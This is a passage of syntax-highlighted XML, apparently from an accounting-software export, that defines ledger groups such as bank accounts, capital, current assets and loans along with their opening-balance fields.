                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Bank Accounts<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Bank OD A/c"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Bank OD A/c"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Bank OD A/c<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Bank OCC A/c<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Branch / Divisions"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Branch / Divisions"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Branch / Divisions<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Capital Account"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Capital Account"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Capital Account<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Cash-in-Hand"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Cash-in-Hand"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span>0.00<span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Cash-in-Hand<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Current Assets"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Current Assets"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span>-1447900.00<span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span>-1447900.00<span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Current Assets<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Current Liabilities"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Current Liabilities"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Current Liabilities<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Deposits (Asset)"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Deposits (Asset)"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Deposits (Asset)<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Direct Expenses"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Direct Expenses"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Direct Expenses<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Expenses (Direct)<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Direct Incomes"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Direct Incomes"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Direct Incomes<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Income (Direct)<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Duties <span class="hljs-symbol">&amp;amp;</span> Taxes"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Duties <span class="hljs-symbol">&amp;amp;</span> Taxes"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Duties <span class="hljs-symbol">&amp;amp;</span> Taxes<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Fixed Assets"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Fixed Assets"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Fixed Assets<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Indirect Expenses"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Indirect Expenses"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Indirect Expenses<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Expenses (Indirect)<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Indirect Incomes"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Indirect Incomes"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Indirect Incomes<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Income (Indirect)<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Investments"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Investments"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Investments<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Loans <span class="hljs-symbol">&amp;amp;</span> Advances (Asset)"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Loans <span class="hljs-symbol">&amp;amp;</span> Advances (Asset)"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Loans <span class="hljs-symbol">&amp;amp;</span> Advances (Asset)<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Loans (Liability)"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Loans (Liability)"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">TBALOPENING</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">TBALOPENING</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">GRPOPENINGBALANCE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Amount"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">GRPOPENINGBALANCE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Loans (Liability)<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
